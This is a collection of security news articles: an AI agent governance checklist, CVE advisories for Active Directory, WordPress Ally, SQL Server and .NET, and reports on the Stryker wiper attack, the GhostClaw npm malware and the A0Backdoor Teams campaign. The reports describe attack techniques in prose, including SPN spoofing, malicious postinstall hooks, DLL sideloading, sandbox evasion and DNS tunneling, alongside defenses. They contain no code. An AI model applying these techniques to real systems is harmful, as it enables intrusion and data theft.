Unlike traditional SaaS tools, AI agents can interpret, generate, and act on data dynamically — often across multiple systems. That makes oversight, scope control, and governance essential.

This checklist is designed to help IT, security, compliance, and risk leaders evaluate AI agents before deployment. 

It moves beyond hype and focuses on practical controls that reduce operational, regulatory, and reputational exposure.

1. Data Security & Privacy Controls

AI systems are only as safe as the data they access and process. Before enabling an AI agent, organizations must understand how data flows into, through, and out of the system.

Data Handling & Storage

Key questions include:

• Is customer or internal data used to train external models?
  
• Is there a clear data retention and deletion policy?
  
• Are prompts and outputs stored? If yes, for how long?
  
• Is data encrypted in transit and at rest?
  
• Are logs auditable?

Many AI risks stem from unclear data usage policies. If prompts or outputs are retained indefinitely, sensitive information may persist longer than intended. 

Encryption at rest and in transit should be standard, and audit logs must allow traceability of AI-generated actions. 

Organizations should also verify whether data is used to retrain foundation models, which can introduce compliance and confidentiality concerns.

Access Controls

• Is access role-based (RBAC)?
  
• Can admins restrict which data the AI can access?
  
• Is AI scoped to entity-level context vs. full system access?
  
• Is SSO enforced?

Scoped, entity-level access reduces overexposure risk. AI agents should not default to full knowledge base access when only specific records are required. 

Strong identity integration (e.g., SSO, RBAC, conditional access, etc.) ensures AI capabilities align with existing least-privilege policies.

2. Human-in-the-Loop Governance

AI should augment human decision-making — not replace accountability.

Decision Control

• Does the AI make changes autonomously?
  
• Or does it provide recommendations for human approval?
  
• Can outputs be edited, rejected, or ignored?
  
• Is there traceability for decisions made using AI outputs?

High-risk actions (e.g., compliance decisions, financial changes, policy enforcement, etc.) should require human approval. 

There must be clear audit trails showing whether decisions were AI-generated, human-edited, or fully manual. Human override capability is critical to prevent automation errors from cascading.

3. Accuracy, Evaluation & Hallucination Controls

AI systems can generate incorrect or fabricated outputs (e.g., hallucinations), especially when context is incomplete.

Model Reliability

• Is there measurable accuracy benchmarking?
  
• Are outputs grounded in company-specific context?
  
• Are citations or reasoning provided?
  
• Is there a feedback loop?

Trusted AI requires contextual grounding, defined evaluation datasets, and explainability. 

Vendors should publish measurable accuracy benchmarks and demonstrate how outputs are validated. 

Feedback loops allow organizations to improve model performance over time rather than accepting static behavior.

4. Contextual Boundaries & Data Scope

Clear data boundaries prevent unintended overreach.

Context Isolation

• Can the AI access only specific documents?
  
• Is cross-entity data mixing controlled?
  
• Are unsupported data types documented?
  
• Is there transparency around what data the AI “sees”?

Organizations must understand the AI’s visibility. Cross-entity data mixing (e.g., between business units or customers) creates legal and privacy exposure. Transparency into data scope prevents accidental misuse.

5. Compliance & Regulatory Readiness

AI governance is becoming a regulatory expectation.

Governance Standards

• Is the vendor ISO 42001 compliant?
  
• Do they support SOC 2 / ISO 27001 audits?
  
• Are AI-specific risks documented?
  
• Is explainability available for audits?

Standards like ISO 42001 formalize AI governance. Vendors should provide documentation that supports regulatory reviews and compliance audits. Explainable outputs are especially important in regulated industries.

6. Operational Controls & Incident Response

AI failures should be treated like any other production incident.

Risk Mitigation

• Is there a documented AI incident response plan?
  
• Can AI features be disabled immediately?
  
• Are prompts logged for forensic review?
  
• Is model version tracking available?

Organizations need the ability to shut down AI capabilities quickly if unexpected behavior occurs. Version tracking ensures changes in model behavior can be traced to specific updates.

7. Change Management & Deployment Safety

AI rollout should follow disciplined change management practices.

Controlled Rollout

• Is AI deployed behind feature flags?
  
• Can rollout be limited to specific users?
  
• Can custom workflows be enabled or disabled?
  
• Is there a sandbox or beta environment?

Phased deployment reduces risk. Testing AI in limited environments helps identify workflow gaps before organization-wide exposure.

8. Use-Case Guardrails

Not all AI use cases carry equal risk.

Approved vs. Restricted Usage

• Are approved use cases defined?
  
• Are high-risk use cases restricted?
  
• Is employee guidance documented?
  
• Is usage logged?

AI should not provide unsupervised legal advice, compliance sign-off, or financial decision authority. Clear guardrails prevent misuse and reduce audit risk.

9. Vendor Transparency Checklist

Ask your vendor:

• What LLM provider do you use?
  
• Do you use customer data for training?
  
• What is your hallucination mitigation strategy?
  
• What accuracy benchmarks do you publish?
  
• What certifications do you hold?
  
• How do you isolate customer environments?
  
• How quickly can you disable AI functionality?

Vendor clarity helps reduce third-party risk.

10. Strategic Question for IT Leadership

An AI coworker should:

• Improve audit readiness
  
• Reduce manual error
  
• Provide explainable outputs
  
• Maintain human oversight
  
• Align with governance frameworks
  

It should not:

• Operate as an uncontrolled black box
  
• Access excessive data
  
• Make irreversible autonomous changes
  
• Create audit blind spots

Final Recommendation

Before greenlighting Claude — or any AI coworker — IT and security teams should require:

• A formal security review
  
• A data processing addendum
  
• A controlled pilot deployment
  
• A defined human-approval workflow
  
• A documented AI governance policy

AI agents can deliver operational efficiency and decision support, but only when deployed within clearly defined guardrails. 

As AI adoption accelerates, disciplined governance — not unchecked automation — will determine whether these tools become assets or liabilities.

The post AI Agent Safety Checklist appeared first on eSecurity Planet.

“Improper restriction of names for files and other resources in Active Directory Domain Services allows an authorized attacker to elevate privileges over a network,” said Microsoft in its advisory.

How the Active Directory Vulnerability Works

Active Directory Domain Services (AD DS) serves as the core identity and authentication framework for many enterprise environments. 

It manages user identities, service accounts, and access permissions across Windows networks, enabling systems and applications to authenticate users and services through centralized domain controllers. 

Because AD DS sits at the core of enterprise identity infrastructure, vulnerabilities can enable attackers to move laterally across networks and compromise critical systems. 

The vulnerability, tracked as CVE-2026-25177 with a CVSS score of 8.8, allows an attacker with authorized network access to escalate privileges to SYSTEM-level access, the highest privilege level in Windows environments.

In organizations where Active Directory handles authentication for thousands of users, systems, and services, compromising a single sufficiently privileged account could lead to domain-wide compromise.

Kerberos and SPN Flaw Behind the Attack

The issue stems from how Active Directory processes Service Principal Names (SPNs) and User Principal Names (UPNs) during Kerberos authentication. 

SPNs and UPNs serve as identifiers that allow domain controllers to map users and services when issuing authentication tickets. 

These identifiers play a critical role in ensuring that Kerberos tickets are issued to the correct service or account.

Researchers found that attackers could exploit the flaw by inserting specially crafted Unicode characters when creating or modifying SPN or UPN entries. 

These hidden characters allow malicious entries to appear unique to the system while visually resembling legitimate identifiers. 

As a result, the duplicate identifiers can bypass Active Directory safeguards that normally prevent multiple services from sharing the same name.

Potential Impact of the Active Directory Flaw

Once a malicious duplicate SPN is created, the attacker can trigger Kerberos authentication requests targeting the affected service. 

In certain scenarios, the domain controller may issue a Kerberos service ticket encrypted with the wrong key because it incorrectly associates the request with the malicious SPN entry.

When the target service attempts to validate the ticket, it cannot decrypt it successfully. 

This can disrupt authentication processes and may lead to denial-of-service (DoS) conditions for legitimate users attempting to access the service. 

If NTLM is enabled, systems may fall back to the legacy protocol after Kerberos authentication fails, introducing additional risk because NTLM is less secure than Kerberos.

The attack requires minimal privileges, low complexity, and no user interaction, making it relatively easy for an attacker with limited access. 

However, it does require permission to modify SPNs on an account, which somewhat limits the initial attack surface.

Microsoft has released a patch for the vulnerability and did not report exploitation in the wild at the time of publication.

Hardening Active Directory Environments

To reduce the risk of exploitation, organizations should take several proactive steps to strengthen their Active Directory and identity security posture. 

Addressing this vulnerability requires both immediate patching and broader identity management controls to limit potential abuse.

• Apply the latest patch and prioritize securing domain controllers.

• Restrict permissions that allow users or service accounts to create or modify service principal names (SPNs).

• Monitor Active Directory for unusual SPN or UPN modifications and suspicious Kerberos authentication activity.

• Implement privileged access management solutions and limit administrative privileges using least privilege principles.

• Disable NTLM authentication where possible and reduce reliance on legacy fallback authentication mechanisms.

• Conduct regular audits of Active Directory configurations, service accounts, and identity permissions.

• Regularly test incident response plans and use attack simulation tools with scenarios around identity-based attacks.

Collectively, these measures help organizations strengthen identity security, build resilience against identity-based attacks, and reduce overall exposure across the environment.

This vulnerability underscores the importance of properly securing identity infrastructure such as Active Directory. 

Organizations that rely on these systems should ensure they are regularly updated, closely monitored, and securely configured. 

These kinds of identity-focused risks are one reason organizations are turning to zero trust solutions, which are designed to limit implicit trust and continuously verify users, devices, and access across the environment.

The post Active Directory Flaw Enables SYSTEM Privilege Escalation appeared first on eSecurity Planet.

The flaw affects the Ally plugin developed by Elementor, which is installed on hundreds of thousands of sites worldwide

This vulnerability “… can be leveraged to extract sensitive data from the database, such as password hashes,” said Wordfence researchers. 

Inside the Elementor Ally Plugin Vulnerability

The Ally plugin, developed by Elementor, is designed to improve accessibility and usability on WordPress websites by providing automated remediation tools and interface adjustments for users with disabilities. 

Features include accessibility scanning, remediation suggestions, and front-end interface improvements intended to help websites meet accessibility standards. 

According to Wordfence, the plugin has more than 400,000 installations, making it widely deployed across blogs, corporate websites, and enterprise platforms.

CVE-2026-2413

Researchers recently identified a vulnerability in the plugin tracked as CVE-2026-2413, which affects all versions of Ally up to version 4.0.3. 

The flaw could allow attackers to extract sensitive information from a website’s underlying database under certain conditions, particularly when specific plugin features are enabled.

The issue arises from a SQL injection vulnerability, which occurs when an application fails to properly validate or sanitize user input before including it in database queries. 

When input controls are weak, attackers can insert malicious SQL commands into the query, allowing them to manipulate how the database responds. 

This can enable unauthorized access to sensitive information or allow attackers to modify or delete stored data.

How the SQL Injection Works

In this case, the vulnerability exists within the plugin’s get_global_remediations() function. 

According to Wordfence researchers, the issue occurs because a user-controlled URL parameter is inserted directly into an SQL JOIN clause without proper sanitization for SQL context.

Although the plugin attempts to validate the parameter using the esc_url_raw() function to ensure it is formatted as a valid URL, that safeguard is not designed to prevent SQL injection. 

The function does not filter SQL metacharacters such as quotation marks or parentheses, which attackers can use to manipulate the database query.

As a result, attackers may be able to append additional SQL logic to the query and perform time-based blind SQL injection attacks. 

This technique allows attackers to infer database contents indirectly by sending crafted queries and analyzing variations in server response times.

Exploitation Conditions and Patch

The vulnerability can be exploited without authentication, meaning attackers do not need valid login credentials to attempt exploitation. 

However, Wordfence notes that the attack is only possible when the plugin is connected to an Elementor account and its Remediation module is enabled.

Elementor has released a patch addressing the vulnerability.

How to Reduce WordPress Attack Surface

Organizations running WordPress should take proactive measures to minimize the risk of exploitation from vulnerable plugins and other common web application security threats. 

• Patch the Ally plugin to the latest version and ensure WordPress is updated to the latest supported release.

• Disable unused WordPress features and plugins and use attack surface management tools to identify unnecessary or exposed components.

• Deploy a web application firewall (WAF) and monitor web server logs for unusual requests, suspicious query patterns, or signs of SQL injection attempts.

• Apply the principle of least privilege to WordPress database accounts to limit the potential impact of a successful SQL injection attack.

• Restrict access to WordPress administrative interfaces using identity controls, IP allowlists, or VPN-based access.

• Maintain an inventory of plugins and continuously monitor vulnerability disclosures affecting the WordPress ecosystem.

• Regularly test incident response plans and build playbooks around plug-in and WordPress exploitation scenarios.

Implementing these practices helps organizations strengthen resilience against WordPress attacks while limiting the potential blast radius if a vulnerability is exploited.

As WordPress continues to power a large portion of the internet, vulnerabilities in widely used plugins can quickly create broad attack surfaces for threat actors. 

Organizations should prioritize patch management, strong input validation practices, and continuous monitoring of third-party components to reduce exposure.  

These risks underscore the importance of using zero trust solutions that are designed to assume compromise and continuously verify access.

The post 400K WordPress Sites Exposed by Elementor Ally Plugin SQL Flaw appeared first on eSecurity Planet.

The incident, which began March 11, triggered widespread outages across the company’s Microsoft environment and left staff temporarily unable to access internal applications and devices. 

“When a company the size of Stryker experiences a global outage tied to a cyber incident, the immediate concern is not just whether data was taken but whether critical systems can still operate safely,” said  Ross Filipek, CISO at Corsica Technologies in an email to eSecurityPlanet.

Andrew Costis, Engineering Manager of the Adversary Research Team at AttackIQ added, “The reported disruption at Stryker highlights how cyber operations tied to geopolitical tensions can quickly spill into the private sector, especially when the victim organization sits in a critical industry like healthcare.”

“The suspected Iran-linked cyberattack against Stryker represents a meaningful escalation in the geopolitical cyber playbook. Rather than targeting obvious government or defense infrastructure, the incident appears to hit a major medical technology provider whose products sit deep inside hospital operations worldwide,” said Steve Povolny, Vice President of AI Strategy & Security Research at Exabeam in an email to eSecurityPlanet.

He explained, “That choice matters. Healthcare technology companies occupy a gray zone in cyber conflict; they are civilian entities, but their disruption can cascade into national resilience and public safety.”

Inside the Alleged Wiper Attack on Stryker

Stryker is one of the world’s largest medical technology companies, manufacturing a wide range of surgical, orthopedic, and neurotechnology equipment used in hospitals and healthcare systems globally. 

Because the company supplies critical medical devices used in patient care, disruptions to its internal systems can have ripple effects across healthcare providers, hospital networks, and global supply chains.

Responsibility for the attack has been claimed by Handala, a hacktivist group believed by security researchers to have links to Iran’s Ministry of Intelligence and Security (MOIS). 

According to reporting by BleepingComputer, the group alleges it infiltrated Stryker’s network, exfiltrated roughly 50 terabytes of data, and then launched a destructive operation designed to wipe large portions of the company’s infrastructure. 

In statements posted online, the attackers claim more than 200,000 systems, servers, and mobile devices were erased during the operation and that offices in 79 countries were forced offline.

While those claims have not been independently verified, the widespread operational disruption has been confirmed by the company and corroborated by reports from employees in multiple regions.

According to individuals identifying themselves as Stryker employees, the incident appears to have begun early Wednesday morning when devices enrolled in the company’s mobile device management (MDM) platform were suddenly reset or wiped. 

Employees in the United States, Ireland, Costa Rica, and Australia reported that corporate laptops and mobile devices lost access to company services overnight after the devices were remotely reset.

In some cases, employees who had enrolled personal smartphones to access corporate email or collaboration tools also saw their devices wiped after the remote reset commands were issued. 

Staff were later instructed to remove corporate device management and applications from personal phones, including the Microsoft Intune Company Portal, Microsoft Teams, and VPN clients.

The disruption quickly spread beyond individual devices. Numerous employees reported losing access to internal applications, authentication systems, and network resources used for daily operations. 

At several locations, teams were forced to temporarily revert to manual pen and paper workflows after digital systems became unavailable.

The attackers also reportedly defaced Stryker’s Microsoft Entra login portal with imagery associated with the Handala group. 

Website defacement is a common tactic used by hacktivist groups to publicly signal responsibility for an intrusion and amplify the political messaging behind an attack.

Despite the group’s claims that destructive wiper malware was used, Stryker’s disclosure to the SEC states that the company currently has “no indication of ransomware or malware” present in its environment and believes the incident has been contained. 

The company is continuing to investigate the root cause of the disruption with assistance from external cybersecurity experts while working to restore affected systems.

Building Resilience Against Destructive Cyberattacks

To defend against disruptive attacks from hacktivist groups and other threat actors, organizations should implement layered security controls that protect identity systems and endpoints.

• Maintain offline and immutable backups to enable rapid recovery from destructive attacks such as wiper malware.

• Enforce multi-factor authentication, privileged access management, and strict role-based access controls for identity and device management systems.

• Segment identity services, endpoint management platforms, and production networks to limit the blast radius of a compromise.

• Monitor for abnormal administrative activity such as mass device wipes, bulk account resets, or large-scale configuration changes.

• Deploy endpoint detection and response (EDR) and identity threat detection tools to identify destructive activity and credential misuse.

• Strengthen logging and monitoring across identity systems, cloud services, and device management platforms to improve investigation and containment.

• Regularly test incident response and operational continuity plans to ensure organizations can quickly contain attacks and maintain essential operations during system outages.

Together, these steps help organizations build operational resilience and reduce the blast radius of a compromise by limiting attacker movement and enabling faster detection, containment, and recovery.

Geopolitical Cyberattacks Move Into the Private Sector

The Stryker incident reflects a broader trend in which geopolitically motivated cyber activity is increasingly affecting private sector organizations, not just government agencies. 

Unlike ransomware campaigns that primarily seek financial gain, wiper-style attacks are typically intended to disrupt systems and operations.  

Healthcare and medical technology companies can be particularly sensitive to these types of incidents because their operations depend on reliable access to data, connected systems, and global supply chains. 

These types of incidents are also driving organizations to adopt zero trust solutions, which help limit lateral movement.

The post Iran-Linked Hacktivists Claim Wiper Attack on Stryker Systems appeared first on eSecurity Planet.

“Improper access control in SQL Server allows an authorized attacker to elevate privileges over a network,” said Microsoft in their security advisory.

Understanding CVE-2026-21262

The vulnerability, tracked as CVE-2026-21262, carries a CVSS score of 8.8 and could allow attackers with limited database permissions to escalate privileges to the SQL Server sysadmin role.

This issue affects SQL Server versions 2016 through 2025, potentially impacting a wide range of production deployments. 

The vulnerability stems from improper access control, a weakness that occurs when a system fails to correctly enforce restrictions on user permissions.

In this case, a user with legitimate but low-level access to a SQL Server instance could exploit the flaw to elevate their privileges beyond what their account should allow.

According to Microsoft, the attack is network-based, requires low attack complexity, and does not require user interaction. 

An attacker only needs authenticated access to the SQL Server environment — such as credentials tied to a low-privileged user or application account — to exploit the vulnerability. 

This makes the flaw particularly concerning in environments where multiple users, services, or applications routinely interact with the database. 

If successfully exploited, an attacker could escalate privileges to the SQL Server sysadmin role, gaining full administrative control over the database instance. 

With this level of access, the attacker could read or modify sensitive data, create or delete database objects, manipulate user accounts, or execute administrative commands that impact system operations.

A patch has been released for the flaw and there is no evidence of exploitation at the time of publication.

How to Mitigate the SQL Server Vulnerability

Even though there is no evidence of active exploitation, organizations running SQL Server environments should take proactive steps to reduce the risk of privilege escalation attacks associated with this vulnerability. 

• Apply the latest security patch and validate updates in testing or staging environments before deploying them to production systems.

• Audit SQL Server permissions and role memberships, enforce least privilege, and use privileged access management (PAM) tools to control and monitor elevated accounts such as sysadmin.

• Restrict network access to SQL Server instances by placing databases behind firewalls, limiting inbound connections to trusted systems, and avoiding direct internet exposure.

• Strengthen authentication controls, including enforcing MFA for administrative accounts and disabling unused or legacy credentials.

• Monitor SQL Server logs and database activity for suspicious behavior, including unexpected privilege escalation, permission changes, or abnormal administrative queries.

• Use vulnerability scanning tools to identify unpatched SQL Server instances.

• Test incident response plans and BC/DR plans, including database backup and restoration procedures.

Together, these steps help organizations reduce potential blast radius, strengthen database security, and build resilience against privilege escalation attacks.

Database Security Still Matters

The disclosure of CVE-2026-21262 highlights the ongoing challenges organizations face in securing widely used enterprise platforms such as database systems. 

Because platforms like SQL Server often store important operational and business data, vulnerabilities that enable privilege escalation can increase risk if access controls and monitoring are not properly maintained.

These types of risks are one reason organizations are adopting zero trust solutions to better control access to critical systems and reduce the impact of compromised accounts.

The post Microsoft SQL Server Vulnerability Enables Privilege Escalation appeared first on eSecurity Planet.

The flaw enables unauthenticated attackers to trigger a Denial-of-Service (DoS) condition, potentially causing applications or services running on vulnerable .NET environments to become unavailable. 

Exploitation of the vulnerability “… allows an unauthorized attacker to deny service over a network,” said NIST in its advisory.

Understanding the .NET DoS Vulnerability

The vulnerability, tracked as CVE-2026-26127, affects multiple versions of the .NET framework and poses a risk to organizations that rely on .NET-based web applications, APIs, and backend services. 

Because the flaw can be exploited remotely without authentication or user interaction, internet-facing applications running vulnerable versions of the framework may be particularly exposed. 

Microsoft assigned the vulnerability a CVSS score of 7.5.

The issue stems from an out-of-bounds read vulnerability, a type of memory-handling flaw that occurs when software attempts to read data outside the boundaries of an allocated memory buffer. 

When this happens, the application may access unintended memory locations, potentially causing instability, unexpected behavior, or application crashes.

In this case, an attacker can exploit the weakness by sending a specially crafted network request to a vulnerable .NET application. 

If the malformed request triggers the out-of-bounds memory read, it can cause the application to crash — effectively resulting in a Denial-of-Service (DoS) condition that prevents legitimate users from accessing the service. 

Microsoft has released a patch and there are no reports of exploitation in the wild at the time of publication.

How Organizations Can Reduce .NET DoS Risk

Organizations running .NET environments should apply the patch and implement additional security controls to reduce the risk of service disruption.

• Upgrade .NET environments and related dependencies (such as Microsoft.Bcl.Memory) to the latest patched versions.

• Use DevSecOps tools to scan for vulnerable dependencies to prevent outdated components from being redeployed.

• Monitor application logs and network traffic for unexpected crashes, malformed requests, or unusual activity that could indicate a denial-of-service attempt.

• Reduce the attack surface by restricting internet exposure of .NET services and implementing network segmentation or reverse proxies where possible.

• Implement web application firewall protections, rate limiting, and request throttling to block malformed or excessive requests that could trigger application crashes.

• Strengthen application resilience and availability controls, such as automatic restarts, health checks, and failover mechanisms to minimize service disruption.

• Test incident response plans and business continuity plans for scenarios around DoS incidents.

Collectively, these measures help organizations limit blast radius and build resilience.

Why Framework Vulnerabilities Matter for Enterprise Security

The disclosure of CVE-2026-26127 highlights a persistent challenge in modern software ecosystems: vulnerabilities in widely used development frameworks can have far-reaching impacts across many applications and environments. 

Frameworks such as Microsoft .NET underpin a wide range of enterprise services, including cloud-native applications, web services, internal APIs, and backend business systems. 

As vulnerabilities in foundational platforms continue to expose large portions of enterprise infrastructure, organizations are turning to zero trust solutions to help reduce attack surfaces.

The post Microsoft .NET Vulnerability Enables Remote DoS Attacks appeared first on eSecurity Planet.

The package, @openclaw-ai/openclawai, masquerades as an OpenClaw Installer utility but instead initiates a multi-stage malware operation. 

Once executed, it attempts to steal credentials, cryptocurrency wallets, SSH keys, browser data, and developer tokens.

“The attack is notable for its broad data collection, its use of social engineering to harvest the victim’s system password, and the sophistication of its persistence and C2 infrastructure,” said JFrog researchers.

Breaking Down the GhostClaw Attack Chain

The malicious package was carefully designed to resemble a legitimate developer utility. 

Its package.json configuration appears normal, and the exposed source code includes harmless functions meant to reassure anyone casually reviewing the package. 

Malicious code is embedded in installation scripts that execute automatically during setup, allowing attackers to establish a foothold without raising immediate suspicion. 

During installation, a postinstall script silently reinstalls the package globally on the victim’s system, ensuring the malicious binary is added to the system’s PATH.

Fake Installer and Credential Phishing Stage

When the user later runs the openclaw command, the system launches an obfuscated setup script that acts as the first stage of the malware.

The script displays a convincing fake command-line installer interface, complete with animated progress bars, loading spinners, and system log messages intended to mimic legitimate software installation output. 

Once the fake installation appears to finish, the program presents a fraudulent Keychain authorization prompt requesting the user’s system password, claiming that administrator privileges are required to securely initialize the tool.

Unlike typical phishing prompts, the malware validates password attempts using the operating system’s real authentication mechanisms. 

This allows the prompt to behave like a genuine system request, making the deception more convincing. 

While the victim attempts to authenticate, the script simultaneously retrieves an encrypted second-stage payload from attacker-controlled infrastructure.

The payload is delivered through an encrypted request and decrypted locally using AES-256-GCM. 

Once decrypted, the code is written to a temporary file and executed as a background process, allowing the malware to run while the installation appears to complete normally.

GhostLoader Installs Persistence

The second stage of the attack — internally referred to as GhostLoader — is a large JavaScript bundle that functions as both an information stealer and a persistent RAT.

After execution, the malware installs itself into a hidden directory designed to resemble a legitimate npm telemetry service, helping it blend into normal developer system activity.

To maintain persistence, the malware modifies shell configuration files such as .zshrc, .bashrc, and related profiles. 

These modifications ensure that the malware automatically launches whenever a new terminal session is opened. On Linux systems, the malware may also create cron jobs to guarantee it runs again after system reboots.

Malware Steals Developer Credentials and Sensitive Data

During its first execution, the malware collects a wide range of sensitive information commonly stored on developer systems. 

This includes macOS Keychain and iCloud keychains, browser credentials and stored payment data, cryptocurrency wallets and recovery seed phrases, SSH private keys, cloud provider credentials for AWS, Azure, and GCP, and developer tokens such as GitHub CLI credentials and npm configuration files.

If the user grants macOS Full Disk Access, the malware expands its collection capabilities even further. In those cases, it can harvest Apple Notes, iMessage chat history, Safari browsing data, and Apple Mail account configuration information.

Once collected, the stolen data is compressed into an archive and exfiltrated to attacker infrastructure through multiple channels. 

These include direct uploads to C2servers as well as secondary channels such as Telegram bots and cloud file-sharing platforms, providing redundancy if one exfiltration path fails.

Persistent Access and Browser Session Hijacking

After completing the initial data theft phase, the malware transitions into a persistent monitoring mode. 

The infected system periodically communicates with the attacker’s C2 server to receive instructions and maintain ongoing access.

From there, attackers can issue commands to execute arbitrary shell commands, retrieve files from the system, deploy updated malware payloads, or enable a SOCKS5 proxy that allows the compromised machine to be used as a relay for additional network activity.

One notable capability is browser session cloning. 

The malware copies a victim’s browser profile and launches a headless browser connected to the attacker through the Chrome DevTools Protocol, giving the attacker an authenticated session that allows them to access websites and services as the victim. 

Because the sessions reuse existing authentication tokens and cookies, attackers can often access accounts without needing passwords or bypassing multifactor authentication (MFA). 

How to Reduce Risk From Malicious Dependencies

The following measures can help organizations reduce the risk of malicious dependencies compromising development systems and exposing sensitive credentials. 

• Verify package authenticity before installing new dependencies, especially those with names similar to legitimate projects, and install packages from verified publishers or trusted internal registries.

• Use DevSecOps tools, including dependency scanning and SCA, to detect malicious packages, suspicious install behaviors, and vulnerable dependencies before they reach development pipelines.

• Restrict or disable npm postinstall scripts and global package installations where possible to prevent packages from executing hidden installation logic or placing malicious binaries on the system PATH.

• Monitor developer endpoints for suspicious activity such as unexpected Node.js processes, detached child processes, unusual network connections, or unauthorized modifications to shell configuration files.

• Enforce strong authentication and secure storage practices, and rotate system passwords, SSH keys, API tokens, and cloud credentials immediately if exposure is suspected.

• Implement network monitoring and egress controls to detect or block unusual outbound connections, large data exfiltration attempts, or communications with suspicious infrastructure such as Telegram APIs or unknown domains.

• Regularly test incident response plans through tabletop exercises around software supply chain compromise scenarios.

Collectively, these measures help organizations strengthen resilience against supply chain threats while limiting the potential blast radius if a malicious dependency is introduced into development environments.

Rising Risk in Open-Source Dependencies

The GhostClaw campaign highlights a growing trend in which attackers target developer ecosystems and open-source package registries as entry points into enterprise environments. 

By disguising malware as legitimate development tools, these threats can evade traditional security checks and access sensitive credentials, cloud resources, and internal systems.

This trend underscores the broader importance of software supply chain security, as organizations work to protect development pipelines and dependencies from malicious code.

The post Fake OpenClaw npm Package Installs GhostClaw Malware appeared first on eSecurity Planet.

Researchers at BlueVoyant report that the operation combines social engineering techniques, malicious installers, and covert command-and-control (C2) communications to gain persistent access within targeted networks.

“The malware’s loader exhibits anti-sandbox evasion, and the campaign’s command-and-control appears to have pivoted to a covert DNS mail exchange-based channel that confines endpoint traffic to trusted recursive resolvers,” said the researchers.

Inside the Teams Impersonation Attack Chain

The activity appears to primarily target organizations in sectors such as finance and healthcare and closely aligns with tactics previously associated with the threat actor cluster Blitz Brigantine, also tracked as Storm-1811. 

This group is linked to ransomware operations such as Black Basta and Cactus and is known for using social engineering to gain initial access before deploying malware or launching follow-on ransomware attacks. 

In this campaign, attackers first obtain access through social engineering techniques that impersonate internal IT personnel. 

After convincing victims to grant access — often through remote support tools such as Quick Assist — the attackers deploy malicious MSI installer packages designed to appear as legitimate Teams-related software updates. 

These installers frequently use names such as Update.msi or UpdateFX.msi and are crafted to blend into normal enterprise workflows.

Malware Delivered Through DLL Sideloading

Once executed, the installers drop files into directories commonly associated with Microsoft services, including locations tied to Teams add-ins or Cross Device functionality. 

The packages typically include a mix of legitimate Microsoft-signed binaries alongside attacker-controlled DLL files. 

This combination enables a technique known as DLL sideloading, where a trusted application loads a malicious library placed in the same directory, allowing attacker code to execute while appearing to originate from a legitimate Microsoft component.

At the center of the infection chain is a malicious DLL named hostfxr.dll, which impersonates a legitimate Microsoft .NET hosting component. 

Instead of performing its expected function, this DLL acts as a loader responsible for decrypting and executing hidden malware embedded within the file. 

The malicious version is designed to closely resemble the legitimate component in order to evade suspicion while being loaded by a trusted executable.

Loader Uses Obfuscation and Anti-Analysis Techniques

The loader incorporates several anti-analysis techniques intended to slow or disrupt security investigations. 

One example involves repeatedly invoking the Windows CreateThread API to generate a large number of threads. 

While this behavior has little effect during normal execution, it can overwhelm debugging tools and slow down dynamic analysis, sometimes even causing debugging environments to crash.

The malicious DLL also contains encrypted payload data embedded in its .data section. 

During execution, the loader decrypts this data using a custom algorithm that derives its key from the ASCII string crossdeviceservice.exe, which corresponds to the name of the legitimate executable used in the sideloading chain. 

Once decrypted, the payload is written to memory and executed as shellcode.

This shellcode introduces additional layers of obfuscation and control logic. 

Many of its strings and functional components remain encrypted until runtime, preventing analysts from identifying its behavior through static analysis. 

The shellcode first creates a mutex tied to the executing binary to ensure that only one instance of the malware runs on a system at any given time.

The malware also incorporates a time-based execution mechanism. 

It calculates the current system time and divides it into execution windows lasting roughly 55 hours. 

If the malware runs outside of the expected time slot, the cryptographic values used to decrypt the payload change, preventing the embedded malware from successfully executing. 

This technique helps reduce the likelihood that researchers or automated analysis systems will trigger the payload.

In addition, the shellcode attempts to detect sandbox or virtualized environments.

It queries system firmware tables and searches for indicators such as QEMU, a virtualization platform used in analysis environments. 

If such indicators are found, the malware modifies its key generation logic, preventing successful payload decryption and effectively hiding its true functionality.

Once these checks are completed, the shellcode decrypts and executes the final payload, A0Backdoor.

A0Backdoor Uses DNS Tunneling for Command and Control

The A0Backdoor itself is designed to operate stealthily after execution. Like earlier stages of the infection chain, it decrypts its core functionality only in memory, helping to conceal its behavior from traditional security scanning. 

Once active, the backdoor begins fingerprinting the compromised system by collecting identifying information using Windows APIs such as GetComputerNameW, GetUserNameExW, and DeviceIoControl. 

This data allows the attackers to uniquely identify infected systems.

Instead of establishing direct connections to attacker infrastructure, the malware uses a covert DNS tunneling technique for command-and-control (C2) communication. 

The infected host sends specially crafted DNS queries containing encoded system metadata to public DNS resolvers.

Those resolvers then query attacker-controlled authoritative DNS servers on behalf of the infected system.

The attackers respond with DNS MX records that contain encoded command data embedded within the hostname field. The malware extracts and decodes this data to receive instructions from the operators.

Because the infected endpoint only communicates with trusted public DNS resolvers rather than directly contacting attacker infrastructure, the activity can blend into normal network traffic. 

This indirect communication method makes the C2 channel harder for defenders to detect.

How Organizations Can Reduce Attack Surface

Organizations can reduce the risk from these campaigns by strengthening security controls across endpoints, collaboration platforms, and network monitoring.  

• Restrict and monitor remote-support tools by limiting Quick Assist and similar utilities to authorized help desk personnel, requiring authentication and session logging, and alerting on remote sessions initiated from unknown or external sources.

• Implement application allow-listing to prevent unauthorized executables or DLLs — especially those in user-writable directories like AppData — from running.

• Monitor for DLL sideloading and suspicious file activity by detecting Microsoft executables loading unexpected or unsigned libraries and inspecting directories such as Teams add-ins or Microsoft-related AppData paths.

• Strengthen collaboration platform security by restricting external Microsoft Teams communications where possible, enforcing conditional access policies, and requiring verification procedures before users accept remote support requests.

• Improve DNS security monitoring by analyzing logs for high-entropy subdomains, unusual MX record queries, or excessive unique DNS requests that could indicate DNS tunneling activity.

• Use EDR tools to identify suspicious memory execution, process injection, unusual thread creation, and other behaviors associated with malware loaders and shellcode execution.

• Regularly test incident response plans and use attack simulation tools.

Together, these measures help organizations strengthen operational resilience, detect suspicious activity earlier, and limit the potential blast radius if an attacker gains access.

When Legitimate Tools Become Attack Vectors

This campaign reflects a broader pattern in which attackers combine social engineering with legitimate enterprise tools to gain initial access. 

By impersonating IT staff through collaboration platforms like Microsoft Teams and using built-in remote support utilities, attackers can bypass defenses that focus primarily on detecting malicious software.

The use of DNS-based command-and-control communication also shows how attackers are adapting their infrastructure to blend into normal network activity rather than relying on direct connections to suspicious servers.

These tactics highlight the growing need for zero trust solutions, which require continuous verification of users and devices before access is granted.

The post Teams Social Engineering Campaign Drops A0Backdoor Malware appeared first on eSecurity Planet.

